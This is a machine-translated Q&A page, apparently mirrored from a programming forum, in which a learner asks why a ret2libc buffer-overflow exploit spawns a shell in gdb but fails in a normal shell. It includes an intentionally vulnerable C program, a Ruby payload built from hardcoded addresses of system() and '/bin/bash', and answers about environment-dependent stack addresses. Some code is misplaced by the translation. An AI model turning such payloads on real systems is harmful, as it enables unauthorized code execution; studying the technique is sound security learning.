Ret2libc exploit在gdb中工作,但在普通shell中给出错误sh:1:g:0:1:找不到

时间:2013-06-24 01:02:59

标签: c buffer-overflow exploit

我正在学习ret2libc缓冲区溢出攻击以绕过NX。

我易受攻击的代码(vuln.c):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buffer[512];

    if (argc != 2)
        printf("NO\n");
    else {
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
    }
}

使用此命令编译:{{1​​}}

然后我在ruby(exploit.rb)中创建了这个简单的ret2libc漏洞:

# gcc -o vuln vuln.c

如果它在带有p = "A"*524 p += [0xb7e9ef10].pack('<I') # system() p += [0xb7e79e46].pack('<I') # nomal ret val p += [0xbffff75a].pack('<I') # "/bin/bash" print(p) 的gdb中运行它,它会给我一个不错的bash shell。

然后我尝试在(gdb) r $(ruby exploit.rb)的普通shell中运行它,但不是给我一个shell而是给我这个:# ./vuln $(ruby exploit.rb)

我认为ASLR已被禁用,启用的唯一保护是NX。

感谢任何帮助。

修改

我在i686上运行此操作以防万一。

2 个答案:

答案 0 :(得分:1)

转移的原因是执行环境。

user@feynman:~$ ./getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff82
user@feynman:~$ /home/user/getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff70

此处启动 getenv 的方式正在影响 PWN 的地址。

答案 1 :(得分:0)

您已完成代码执行,但SHELL env var的地址已关闭。试试[address of shell in gdb] + 4gdb, x/s 0xbffff75a+4.